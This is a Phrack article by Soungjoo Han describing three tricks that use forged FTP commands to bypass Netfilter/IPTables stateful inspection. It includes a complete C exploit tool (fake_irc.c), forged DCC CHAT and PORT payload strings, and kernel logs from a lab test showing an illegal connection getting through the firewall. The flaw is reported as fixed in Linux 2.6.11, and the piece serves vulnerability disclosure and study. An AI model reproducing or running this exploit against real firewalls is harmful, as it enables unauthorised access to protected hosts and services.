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.:: Breaking Through a Firewall ::.

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Current issue : #63 | Release date : 2005-01-08 | Editor : Phrack Staff
IntroductionPhrack Staff
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OSX heap exploitation techniquesNemo
Hacking Windows CE (pocketpcs & others)San
Games with kernel Memory...FreeBSD Stylejkong
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Next-Gen. Runtime Binary Encryptionzvrba
Shifting the Stack Pointerandrewg
NT Shellcode Prevention Demystifiedpiotr
PowerPC Cracking on OSX with GDBcurious
Hacking with Embedded Systemscawan
Process Hiding & The Linux Schedulerubra
Breaking Through a Firewallkotkrye
Phrack World NewsPhrack Staff
Title : Breaking Through a Firewall
Author : kotkrye
                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3f, Phile #0x13 of 0x14

|=------=[ Breaking through a Firewall using a forged FTP command ]=-----=|
|=-----------------------------------------------------------------------=|
|=-------------=[ Soungjoo Han <kotkrye@hanmail.net> ]=------------------=|


Table of Contents

  1 - Introduction
  2 - FTP, IRC and the stateful inspection of Netfilter
  3 - Attack Scenario I
    3.1 - First Trick
    3.2 - First Trick Details
  4 - Attack Scenario II - Non-standard command line
    4.1 - Second Trick Details
  5 - Attack Scenario III - 'echo' feature of FTP reply
    5.1 - Passive FTP: background information
    5.2 - Third Trick Details
  6 - APPENDIX I. A demonstration tool of the second trick
  7 - APPENDIX II. A demonstration example of the second attack trick.


--[ 1 - Introduction

    FTP is a protocol that uses two connections. One of them is called a
control connection and the other, a data connection. FTP commands and
replies are exchanged across the control connection that lasts during an
FTP session. On the other hand, a file(or a list of files) is sent across
the data connection, which is newly established each time a file is
transferred.

    Most firewalls do not usually allow any connections except FTP control
connections to an FTP server port(TCP port 21 by default) for network
security. However, as long as a file is transferred, they accept the data
connection temporarily. To do this, a firewall tracks the control
connection state and detects the command related to file transfer. This is
called stateful inspection.

    I've created three attack tricks that make a firewall allow an illegal
connection by deceiving its connection tracking using a forged FTP command.

    I actually tested them in Netfilter/IPTables, which is a firewall
installed by default in the Linux kernel 2.4 and 2.6. I confirmed the first
trick worked in the Linux kernel 2.4.18 and the second one(a variant of the
first one) worked well in the Linux 2.4.28(a recent version of the Linux
kernel).

    This vulnerability was already reported to the Netfilter project team
and they fixed it in the Linux kernel 2.6.11.


--[ 2 - FTP, IRC and the stateful inspection of Netfilter

    First, let's examine FTP, IRC(You will later know why IRC is mentioned)
and the stateful inspection of Netfilter. If you are a master of them, you
can skip this chapter.

    As stated before, FTP uses a control connection in order to exchange
the commands and replies(, which are represented in ASCII) and, on the
contrary, uses a data connection for file transfer.

    For instance, when you command "ls" or "get <a file name>" at FTP
prompt, the FTP server(in active mode) actively initiates a data connection
to a TCP port number(called a data port) on the FTP client, your host. The
client, in advance, sends the data port number using a PORT command, one of
FTP commands.

The format of a PORT command is as follows.

                     PORT<space>h1,h2,h3,h4,p1,p2<CRLF>

    Here the character string "h1,h2,h3,h4" means the dotted-decimal IP
"h1.h2.h3.h4" which belongs to the client. And the string "p1,p2" indicates
a data port number(= p1 * 256 + p2). Each field of the address and port
number is in decimal number. A data port is dynamically assigned by a
client. In addition, the commands and replies end with <CRLF> character
sequence.

    Netfilter tracks an FTP control connection and gets the TCP sequence
number and the data length of a packet containing an FTP command line
(which ends with <LF>). And then it computes the sequence number of the
next command packet based on the information. When a packet with the
sequence number is arrived, Netfilter analyzes whether the data of the
packet contains an FTP command. If the head of the data is the same as
"PORT" and the data ends with <CRLF>, then Netfilter considers it as a
valid PORT command (the actual codes are a bit more complicated) and
extracts an IP address and a port number from it. Afterwards, Netfilter
"expects" the server to actively initiate a data connection to the
specified port number on the client. When the data connection request is
actually arrived, it accepts the connection only while it is established.
In the case of an incomplete command which is called a "partial" command,
it is dropped for an accurate tracking.

    IRC (Internet Relay Chat) is an Internet chatting protocol. An IRC
client can use a direct connection in order to speak with another client.
When a client logs on the server, he/she connects to an IRC server
(TCP port 6667 by default). On the other hand, when the client wants to
communicate with another, he/she establishes a direct connection to the
peer. To do this, the client sends a message called a DCC CHAT command in
advance. The command is analogous to an FTP PORT command. And Netfilter
tracks IRC connections as well. It expects and accepts a direct chatting
connection.


--[ 3 - Attack Scenario I

----[ 3.1 - First Trick

    I have created a way to connect illegally to any TCP port on an FTP
server that Netfilter protects by deceiving the connection-tracking module
in the Linux kernel 2.4.18.

    In most cases, IPTables administrators make stateful packet filtering
rule(s) in order to accept some Internet services such as IRC direct
chatting and FTP file transfer. To do this, the administrators usually
insert the following rule into the IPTables rule list.

    iptables -A FORWARD -m state --state ESTABLISHED, RELATED -j ACCEPT

    Suppose that a malicious user who logged on the FTP server transmits a
PORT command with TCP port number 6667(this is a default IRC server port
number) on the external network and then attempts to download a file from
the server.

    The FTP server actively initiates a data connection to the data port
6667 on the attacker's host. The firewall accepts this connection under the
stateful packet filtering rule stated before. Once the connection is
established, the connection-tracking module of the firewall(in the Linux
kernel 2.4.18) has the security flaw to mistake this for an IRC connection.
Thus the attacker's host can pretend to be an IRC server.

    If the attacker downloads a file comprised of a string that has the
same pattern as DCC CHAT command, the connection-tracking module will
misunderstand the contents of a packet for the file transfer as a DCC CHAT
command.

    As a result, the firewall allows any host to connect to the TCP port
number, which is specified in the fake DCC CHAT command, on the fake IRC
client (i.e., the FTP server) according to the rule to accept the "related"
connection for IRC. For this, the attacker has to upload the file before
the intrusion.

    In conclusion, the attacker is able to illegally connect to any TCP
port on the FTP server.


----[ 3.2 - First Trick Details

    To describe this in detail, let's assume a network configuration is as
follows.

(a) A Netfilter/IPtables box protects an FTP server in a network. So users
    in the external network can connect only to FTP server port on the FTP
    server. Permitted users can log on the server and download/upload
files.

(b) Users in the protected network, including FTP server host, can connect
    only to IRC servers in the external network.

(c) While one of the internet services stated in (a) and (b) is
    established, the secondary connections(e.g., FTP data connection)
    related to the service can be accepted temporarily.

(d) Any other connections are blocked.

    To implement stateful inspection for IRC and FTP, the administrator
loads the IP connection tracking modules called ip_conntrack into the
firewall including ip_conntrack_ftp and ip_conntrack_irc that track FTP and
IRC, respectively. Ipt_state must be also loaded.

    Under the circumstances, an attacker can easily create a program that
logs on the FTP server and then makes the server actively initiate an FTP
data connection to an arbitrary TCP port on his/her host.

    Suppose that he/she transmits a PORT command with data port 6667 (i.e.,
default IRC server port).

An example is "PORT 192,168,100,100,26,11\r\n".

    The module ip_conntrack_ftp tracking this connection analyzes the PORT
command and "expects" the FTP server to issue an active open to the
specified port on the attacker's host.

    Afterwards, the attacker sends an FTP command to download a file,
"RETR <a file name>". The server tries to connect to port 6667 on the
attacker's host. Netfilter accepts the FTP data connection under the
stateful packet filtering rule.

    Once the connection is established, the module ip_conntrack mistakes
this for IRC connection. Ip_conntrack regards the FTP server as an IRC
client and the attacker's host as an IRC server. If the fake IRC client
(i.e., the FTP server) transmits packets for the FTP data connection, the
module ip_conntrack_irc will try to find a DCC protocol message from the
packets.

    The attacker can make the FTP server send the fake DCC CHAT command
using the following trick. Before this intrusion, the attacker uploads a
file comprised of a string that has the same pattern as a DCC CHAT command
in advance.

    To my knowledge, the form of a DCC CHAT command is as follows.

"\1DCC<a blank>CHAT<a blank>t<a blank><The decimal IP address of the IRC
client><blanks><The TCP port number of the IRC client>\1\n"

An example is "\1DCC CHAT t 3232236548    8000\1\n"

    In this case, Netfilter allows any host to do an active open to the TCP
port number on the IRC client specified in the line. The attacker can, of
course, arbitrarily specify the TCP port number in the fake DCC CHAT
command message.

    If a packet of this type is passed through the firewall, the module
ip_conntrack_irc mistakes this message for a DCC CHAT command and "expects"
any host to issue an active open to the specified TCP port number on the
FTP server for a direct chatting.

    As a result, Netfilter allows the attacker to connect to the port
number on the FTP server according to the stateful inspection rule.

    After all, the attacker can illegally connect to any TCP port on the
FTP server using this trick.


--[ 4 - Attack Scenario II - Non-standard command line

----[ 4.1. Second Trick Details

    Netfilter in the Linux kernel 2.4.20(and the later versions) is so
fixed that a secondary connection(e.g., an FTP data connection) accepted by
a primary connection is not mistaken for that of any other protocol. Thus
the packet contents of an FTP data connection are not parsed any more by
the IRC connection-tracking module.

    However, I've created a way to connect illegally to any TCP port on an
FTP server that Netfilter protects by dodging connection tracking using a
nonstandard FTP command. As stated before, I confirmed that it worked in
the Linux kernel 2.4.28.

    Under the circumstances stated in the previous chapter, a malicious
user in the external network can easily create a program that logs on the
FTP server and transmits a nonstandard FTP command line.

    For instance, an attacker can transmit a PORT command without the
character <CR> in the end of the line. The command line has only <LF> in
the end.

    An example is "PORT 192,168,100,100,26,11\n".

    On the contrary, a standard FTP command has <CRLF> sequence to denote
the end of a line.

    If the module ip_conntrack_ftp receives a nonstandard PORT command of
this type, it first detects a command and finds the character <CR> for the
parsing. Because it cannot be found, ip_conntrack_ftp regards this as a
"partial" command and drops the packet.

    Just before this action, ip_conntrack_ftp anticipated the sequence
number of a packet that contains the next FTP command line and updated the
associated information. This number is calculated based on the TCP sequence
number and the data length of the "partial" PORT command packet.

    However, a TCP client, afterwards, usually retransmits the identical
PORT command packet since the corresponding reply is not arrived at the
client. In this case, ip_conntrack_ftp does NOT consider this retransmitted
packet as an FTP command because its sequence number is different from that
of the next FTP command anticipated. From the point of view of
ip_conntrack_ftp, the packet has a "wrong" sequence number position.

    The module ip_conntrack_ftp just accepts the packet without analyzing
this command. The FTP server can eventually receive the retransmitted
packet from the attacker.

    Although ip_conntrack_ftp regards this "partial" command as INVALID,
some FTP servers such as wu-FTP and IIS FTP conversely consider this PORT
command without <CR> as VALID. In conclusion, the firewall, in this case,
fails to "expect" the FTP data connection.

    And when the attacker sends a RETR command to download a file from the
server, the server initiates to connect to the TCP port number, specified
in the partial PORT command, on the attacker's host.

    Suppose that the TCP port number is 6667(IRC server port), the firewall
accepts this connection under the stateless packet filtering rule that
allows IRC connections instead of the stateful filtering rule. So the IP
connection-tracking module mistakes the connection for IRC.

    The next steps of the attack are the same as those of the trick stated
in the previous chapter.

    In conclusion, the attacker is able to illegally connect to any TCP
port on the FTP server that the Netfilter firewall box protects.

*[supplement] There is a more refined method to dodge the
connection-tracking of Netfilter. It uses default data port. On condition
that data port is not specified by a PORT command and a data connection is
required to be established, an FTP server does an active open from port 20
on the server to the same (a client's) port number that is being used for
the control connection.

    To do this, the client has to listen on the local port in advance. In
addition, he/she must bind the local port to 6667(IRCD) and set the socket
option "SO_REUSEADDR" in order to reuse this port.

    Because a PORT command never passes through a Netfilter box, the
firewall can't anticipate the data connection. I confirmed that it worked
in the Linux kernel 2.4.20.

** A demonstration tool and an example of this attack are described in
APPENDIX I and APPENDIX II, respectively.


--[ 5 - Attack Scenario III - 'echo' feature of FTP reply

----[ 5.1 - Passive FTP: background information

    An FTP server is able to do a passive open for a data connection as
well. This is called passive FTP. On the contrary, FTP that does an active
open is called active FTP.

    Just before file transfer in the passive mode, the client sends a PASV
command and the server replies the corresponding message with a data port
number to the client. An example is as follows.

-> PASV\r\n
<- 227 Entering Passive Mode (192,168,20,20,42,125)\r\n

    Like a PORT command, the IP address and port number are separated by
commas. Meanwhile, when you enter a user name, the following command and
reply are exchanged.

-> USER <a user name>\r\n
<- 331 Password required for <the user name>.\r\n


----[ 5.2 - Third Trick Details

    Right after a user creates a connection to an FTP server, the server
usually requires a user name. When the client enters a login name at FTP
prompt, a USER command is sent and then the same character sequence as the
user name, which is a part of the corresponding reply, is returned like
echo. For example, a user enters the sting "Alice Lee" as a login name at
FTP prompt, the following command line is sent across the control
connection.

-> USER Alice Lee\r\n

    The FTP server usually replies to it as follows.

<- 331 Password required for Alice Lee.\r\n

("Alice Lee" is echoed.)

Blanks are able to be included in a user name.

    A malicious user can insert a arbitrary pattern in the name. For
instance, when the same pattern as the reply for passive FTP is inserted in
it, a part of the reply is arrived like a reply related to passive FTP.

-> USER 227 Entering Passive Mode (192,168,20,29,42,125)\r\n
<- 331 Password required for 227 Entering Passive Mode
(192,168,20,29,42,125).\r\n

    Does a firewall confuse it with a `real' passive FTP reply? Maybe most
firewalls are not deceived by the trick because the pattern is in the
middle of the reply line.

    However, suppose that the TCP window size field of the connection is
properly adjusted by the attacker when the connection is established, then
the contents can be divided into two like two separate replies.

(A) ----->USER xxxxxxxxx227 Entering Passive Mode
(192,168,20,29,42,125)\r\n
(B) <-----331 Password required for xxxxxxxxx
(C) ----->ACK(with no data)
(D) <-----227 Entering Passive Mode (192,168,20,20,42,125).\r\n

(where the characters "xxxxx..." are inserted garbage used to adjust the
data length.)

    I actually tested it for Netfilter/IPTables. I confirmed that Netfilter
does not mistake the line (D) for a passive FTP reply at all.

The reason is as follows.

    (B) is not a complete command line that ends with <LF>. Netfilter,
thus, never considers (D), the next packet data of (B) as the next reply.
As a result, the firewall doesn't try to parse (D).

    But, if there were a careless connection-tracking firewall, the attack
would work.

    In the case, the careless firewall would expect the client to do an
active open to the TCP port number, which is specified in the fake reply,
on the FTP server. When the attacker initiates a connection to the target
port on the server, the firewall eventually accepts the illegal connection.


--[ 6 - APPENDIX I. A demonstration tool of the second trick

I wrote an exploiting program using C language. I used the following
compilation command.

/>gcc -Wall -o fake_irc fake_irc.c

The source code is as follows.

/*
USAGE : ./fake_irc <an FTP server IP> <a target port>
<a user name> <a password> <a file name to be downloaded>

- <an FTP server IP> : An FTP server IP that is a victim
- <a target port> : the target TCP port on the FTP server to which an
attacker wants to connect
- <a user name> : a user name used to log on the FTP server
- <a password> : a password used to log on the FTP server
- <a file name to be downloaded> : a file name to be downloaded from the
FTP server
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define BUF_SIZE 2048
#define DATA_BUF_SZ 65536
#define IRC_SERVER_PORT 6667
#define FTP_SERVER_PORT 21

static void usage(void)
{
 printf("USAGE : ./fake_irc "
 "<an FTP server IP> <a target port> <a user name> "
 "<a password> <a file name to be downloaded>\n");

 return;
}

void send_cmd(int fd, char *msg)
{
 if(send(fd, msg, strlen(msg), 0) < 0) {
  perror("send");

  exit(0);
 }

 printf("--->%s\n", msg);
}

void get_reply(int fd)
{
 char read_buffer[BUF_SIZE];
 int size;

 //get the FTP server message
 if( (size = recv(fd, read_buffer, BUF_SIZE, 0)) < 0) {
  perror("recv");

  exit(0);
 }

 read_buffer[size] = '\0';

 printf("<---%s\n", read_buffer);
}

void cmd_reply_xchg(int fd, char *msg)
{
 send_cmd(fd, msg);
 get_reply(fd);
}

/*
argv[0] : a program name
argv[1] : an FTP server IP
argv[2] : a target port on the FTP server host
argv[3] : a user name
argv[4] : a password
argv[5] : a file name to be downloaded
*/
int main(int argc, char **argv)
{
 int fd, fd2, fd3, fd4;
 struct sockaddr_in serv_addr, serv_addr2;
 char send_buffer[BUF_SIZE];
 char *ftp_server_ip, *user_id, *pwd, *down_file;
 unsigned short target_port;
 char data_buf[DATA_BUF_SZ];
 struct sockaddr_in sa_cli;
 socklen_t client_len;
 unsigned int on = 1;
 unsigned char addr8[4];
 int datasize;

 if(argc != 6) {
  usage();
  return -1;
 }

 ftp_server_ip = argv[1];
 target_port = atoi(argv[2]);
 user_id = argv[3];
 pwd = argv[4];
 down_file = argv[5];

 if((fd = socket(AF_INET, SOCK_STREAM, 0)) <0) {
  perror("socket");
  return -1;
 }

 bzero(&serv_addr, sizeof(struct sockaddr_in));
 serv_addr.sin_family = AF_INET;
 serv_addr.sin_port = htons(FTP_SERVER_PORT);
 serv_addr.sin_addr.s_addr = inet_addr(ftp_server_ip);

 //connect to the FTP server
 if(connect(fd, (struct sockaddr *) &serv_addr, sizeof(struct sockaddr))) {
  perror("connect");
  return -1;
 }

 //get the FTP server message
 get_reply(fd);

 //exchange a USER command and the reply
 sprintf(send_buffer, "USER %s\r\n", user_id);
 cmd_reply_xchg(fd, send_buffer);


 //exchange a PASS command and the reply
 sprintf(send_buffer, "PASS %s\r\n", pwd);
 cmd_reply_xchg(fd, send_buffer);

 //exchange a SYST command and the reply
 sprintf(send_buffer, "SYST\r\n");
 cmd_reply_xchg(fd, send_buffer);

 sleep(1);

 //write a PORT command
 datasize = sizeof(serv_addr);

 if(getsockname(fd, (struct sockaddr *)&serv_addr, &datasize) < 0 ) {
  perror("getsockname");
  return -1;
 }

 memcpy(addr8, &serv_addr.sin_addr.s_addr, sizeof(addr8));

 sprintf(send_buffer, "PORT %hhu,%hhu,%hhu,%hhu,%hhu,%hhu\n",
  addr8[0], addr8[1], addr8[2], addr8[3],
  IRC_SERVER_PORT/256, IRC_SERVER_PORT % 256);

 cmd_reply_xchg(fd, send_buffer);

 //Be a server for an active FTP data connection
 if((fd2 = socket(AF_INET, SOCK_STREAM, 0)) <0) {
  perror("socket");
  return -1;
 }

 if(setsockopt(fd2, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0) {
  perror("setsockopt");
  return -1;
 }

 bzero(&serv_addr, sizeof(struct sockaddr_in));
 serv_addr.sin_family = AF_INET;
 serv_addr.sin_port = htons(IRC_SERVER_PORT);
 serv_addr.sin_addr.s_addr = INADDR_ANY;

 if( bind(fd2, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0 ) {
  perror("bind");
  return -1;
 }

 if( listen(fd2, SOMAXCONN) < 0 ) {
  perror("listen");
  return -1;
 }

 //send a RETR command after calling listen()
 sprintf(send_buffer, "RETR %s\r\n", down_file);
 cmd_reply_xchg(fd, send_buffer);


 //accept the active FTP data connection request
 client_len = sizeof(sa_cli);
 bzero(&sa_cli, client_len);

 fd3 = accept (fd2, (struct sockaddr*) &sa_cli, &client_len);

 if( fd3 < 0 ) {
  perror("accept");
  return -1;
 }

 //get the fake DCC command
 bzero(data_buf, DATA_BUF_SZ);

 if( recv(fd3, data_buf, DATA_BUF_SZ, 0) < 0) {
  perror("recv");
  return -1;
 }
 puts(data_buf);

 ///Start of the attack
 if((fd4= socket(AF_INET, SOCK_STREAM, 0)) <0) {
  perror("socket");
  return -1;
 }

 bzero(&serv_addr2, sizeof(struct sockaddr_in));
 serv_addr2.sin_family = AF_INET;
 serv_addr2.sin_port = htons(target_port );
 serv_addr2.sin_addr.s_addr = inet_addr(ftp_server_ip);

 if(connect(fd4, (struct sockaddr *)&serv_addr2, sizeof(struct sockaddr)))
{
  perror("connect");
  return -1;
 }else
  printf("\nConnected to the target port!!\n");

 //Here, communicate with the target port
 sleep(3);

 close(fd4);//close the attack connection
 /////////////The end of the attack.

 close(fd3);//close the FTP data connection


 //get the reply of FTP data transfer completion
 get_reply(fd);

 sleep(1);

 close(fd);//close the FTP control connection
 close(fd2);

 return 0;

}/*The end*/

--------------------------------------------

--[ 7 - APPENDIX II. A demonstration example of the second attack trick

The followings are the circumstances in which I tested it actually.

The below symbol "[]" stands for a computer box.

[An attacker's host]-----[A firewall]-----[An FTP server]
(The network interfaces, eth1 and eth2 of the firewall are directly linked
to the attacker's host and server, respectively.)

    As shown in the above figure, packets being transmitted between the FTP
client(i.e., the attacker) and the FTP server pass through the linux box
with IPTables in the Linux kernel 2.4.28.

The IP addresses assigned in each box are as follows.

(a) The attacker's host : 192.168.3.3
(b) eth1 port in the Linux box : 192.168.3.1
(c) The FTP server : 192.168.4.4
(d) eth2 port in the Linux box : 192.168.4.1

    A TCP server is listening on the FTP server's host address and port
8000.  The server on port 8000 is protected by IPTables. The attacker tried
to connect illegally to port 8000 on the FTP server in this demonstration.

    The associated records during this attack are written in the following
order.

(1) The system configurations in the firewall, including the ruleset of
    IPTables
(2) Tcpdump outputs on eth1 port of the firewall
(3) Tcpdump outputs on eth2 port of the firewall
(4) The file /proc/net/ip_conntrack data with the change of times. It shows
    the information on connections being tracked.
(5) DEBUGP(), printk messages for debug in the source
    files(ip_conntrack_core.c, ip_conntrack_ftp.c and ip_conntrack_irc.c).
    For the detailed messages, I activated the macro function DEBUGP() in
    the files.

    Since some characters of the messages are Korean, they have been
deleted. I am sorry for this.

=====================================================================

(1) The system configurations in the firewall

[root@hans root]# uname -a
Linux hans 2.4.28 #2 2004. 12. 25. () 16:02:51 KST i686 unknown

[root@hans root]# lsmod
Module                  Size  Used by    Not tainted
ip_conntrack_irc        5216   0  (unused)
ip_conntrack_ftp        6304   0  (unused)
ipt_state               1056   1  (autoclean)
ip_conntrack           40312   2  (autoclean) [ip_conntrack_irc
ip_conntrack_ftp
ipt_state]
iptable_filter          2432   1  (autoclean)
ip_tables              16992   2  [ipt_state iptable_filter]
ext3                   64032   3  (autoclean)
jbd                    44800   3  (autoclean) [ext3]
usbcore                48576   0  (unused)


[root@hans root]# iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain FORWARD (policy DROP)
target     prot opt source               destination
ACCEPT     tcp  --  192.168.3.3          192.168.4.4        tcp dpt:ftp
ACCEPT     tcp  --  anywhere             anywhere           tcp dpt:auth
ACCEPT     tcp  --  192.168.4.4          192.168.3.3        tcp dpt:ircd
ACCEPT     all  --  anywhere             anywhere           state
RELATED,ESTABL
ISHED

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination



[root@hans root]# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use
Iface
192.168.4.0     0.0.0.0         255.255.255.0   U     0      0        0
eth2
192.168.3.0     0.0.0.0         255.255.255.0   U     0      0        0
eth1
192.168.150.0   0.0.0.0         255.255.255.0   U     0      0        0
eth0
127.0.0.0       0.0.0.0         255.0.0.0       U     0      0        0 lo

=====================================================================

(2) Tcpdump outputs on eth1 port of the firewall

You can see that the "partial" PORT commands were transmitted and an
illegal connection to port 8000 was established.

tcpdump -nn -i eth1 -s 0 -X

    [ phrack staff: Output removed. Do it on your own. ]

=====================================================================

(3) Tcpdump outputs on eth2 port of the firewall

Only one PORT command w/o <CR> is shown on eth2 port since the first one
was dropped.

tcpdump -nn -i eth2 -s 0 -X


    [ phrack staff: Output removed. Get skilled. Do it yourself! ]

=====================================================================

(4) The file /proc/net/ip_conntrack data with change of times.

The file /proc/net/ip_conntrack shows the information on connections being
tracked. To that end, I executed the following shell command.

/>watch -n 1 "data >> /tmp/ipconn.txt;cat /proc/net/ip_conntrack >>
/tmp/ipconn.txt"

Note : Connections that are not associated with this test are seen from
time to time. I am sorry for this.

    [ phrack staff: Output removed. Use the force luke! ]

=====================================================================
(5) dmesg outputs

->The following paragraph in the message shows that the first PORT command
w/o <CR> was regarded as "partial" and thus dropped.

Dec 31 15:03:40 hans kernel: find_pattern `PORT': dlen = 23
Dec 31 15:03:40 hans kernel: Pattern matches!
Dec 31 15:03:40 hans kernel: Skipped up to ` '!
Dec 31 15:03:40 hans kernel: Char 17 (got 5 nums) `10' unexpected
Dec 31 15:03:40 hans kernel: conntrack_ftp: partial PORT 1273167371+23


->The following paragraph shows that the second invalid PORT command w/o
<CR> was accepted because it was regarded as a packet that had a wrong
sequence position.(i.e., the packet was not regarded as an FTP command)

Dec 31 15:03:40 hans kernel: ip_conntrack_in: normal packet for d7369080
Dec 31 15:03:40 hans kernel: conntrack_ftp: datalen 23
Dec 31 15:03:40 hans kernel: conntrack_ftp: datalen 23 ends in \n
Dec 31 15:03:40 hans kernel: ip_conntrack_ftp_help: wrong seq pos
(1273167394)


->The following shows that the connection-tracking module mistook the FTP
data connection for IRC.

Dec 31 15:03:40 hans kernel: ip_conntrack_in: new packet for d73691c0
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:entered
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:Conntrackinfo = 2
Dec 31 15:03:40 hans kernel: Confirming conntrack d73691c0


->The following shows that ip_conntrack_irc mistook the packet contents of
the FTP data connection for a DCC CHAT command and "expected" the fake
chatting connection.

Dec 31 15:03:40 hans kernel: ip_conntrack_in: normal packet for d73691c0
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:entered
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:DCC found in master
192.168.4.4:20  192.168.3.3:6667...
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:DCC CHAT  detected
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:DCC bound ip/port:
192.168.4.4:8000
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:tcph->seq = 3731565152
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:wrote info
seq=1613392874  (ofs=33), len=21
Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:expect_related
0.0.0.0:0-192.168.4.4:8000
Dec 31 15:03:40 hans kernel: ip_conntrack_expect_related d73691c0
Dec 31 15:03:40 hans kernel: tuple: tuple d6c61d94: 6 0.0.0.0:0 ->
192.168.4.4:8000
Dec 31 15:03:40 hans kernel: mask:  tuple d6c61da4: 65535 0.0.0.0:0 ->
255.255.255.255:65535
Dec 31 15:03:40 hans kernel: new expectation d7cf82e0 of conntrack d73691c0


->The following shows that ip_conntrack, after all, accepted the illegal
connection to port 8000 under the stateful inspection rule.

Dec 31 15:03:40 hans kernel: conntrack: expectation arrives ct=d7369260
exp=d7cf82e0
Dec 31 15:03:41 hans kernel: ip_conntrack_in: related packet for d7369260
Dec 31 15:03:41 hans kernel: Confirming conntrack d7369260
Dec 31 15:03:41 hans kernel: ip_conntrack_in: normal packet for d7369260

|=[ EOF ]=---------------------------------------------------------------=|

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